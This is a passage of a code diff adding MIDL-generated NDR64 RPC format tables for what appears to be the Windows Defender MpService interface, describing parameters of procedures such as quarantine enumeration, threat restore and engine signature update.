+/* Proc44_ServerMpThreatStaticInfo */ + { + /* Proc44_ServerMpThreatStaticInfo */ /* procedure Proc44_ServerMpThreatStaticInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1035, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag468_t __midl_frag468 = +{ +/* Proc43_ServerMpRollbackEngineSignature */ + { + /* Proc43_ServerMpRollbackEngineSignature */ /* procedure Proc43_ServerMpRollbackEngineSignature */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag461_t __midl_frag461 = +{ +/* Proc42_ServerMpUpdateEngineSignature */ + { + /* Proc42_ServerMpUpdateEngineSignature */ /* procedure Proc42_ServerMpUpdateEngineSignature */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag457_t __midl_frag457 = +{ +/* Struct_1536_t */ + { + /* Struct_1536_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1536_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 192 /* 0xc0 */ + } +}; + +static const __midl_frag456_t __midl_frag456 = +{ +/* *Struct_1536_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag457 +}; + +static const __midl_frag455_t __midl_frag455 = +{ +/* Proc41_ServerMpQueryEngineVersion */ + { + /* Proc41_ServerMpQueryEngineVersion */ /* procedure Proc41_ServerMpQueryEngineVersion */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 336 /* 0x150 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag457, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag449_t __midl_frag449 = +{ +/* Proc40_ServerMpStateEnumOpen */ + { + /* Proc40_ServerMpStateEnumOpen */ /* procedure Proc40_ServerMpStateEnumOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1288, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag443_t __midl_frag443 = +{ +/* Proc39_ServerMpQuarantineDeleteThreat */ + { + /* Proc39_ServerMpQuarantineDeleteThreat */ /* procedure Proc39_ServerMpQuarantineDeleteThreat */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag434_t __midl_frag434 = +{ +/* Proc38_ServerMpQuarantineRestoreThreat */ + { + /* Proc38_ServerMpQuarantineRestoreThreat */ /* procedure Proc38_ServerMpQuarantineRestoreThreat */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag36, + { + /* arg_3 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2364, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag426_t __midl_frag426 = +{ +/* Proc37_ServerMpQuarantineQueryInfo */ + { + /* Proc37_ServerMpQuarantineQueryInfo */ /* procedure Proc37_ServerMpQuarantineQueryInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1035, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag414_t __midl_frag414 = +{ +/* Proc35_ServerMpQuarantineEnumerate */ + { + /* Proc35_ServerMpQuarantineEnumerate */ /* procedure Proc35_ServerMpQuarantineEnumerate */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag407_t __midl_frag407 = +{ +/* Proc34_ServerMpQuarantineEnumOpen */ + { + /* Proc34_ServerMpQuarantineEnumOpen */ /* procedure Proc34_ServerMpQuarantineEnumOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag399_t __midl_frag399 = +{ +/* Proc33_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc33_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc33_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, 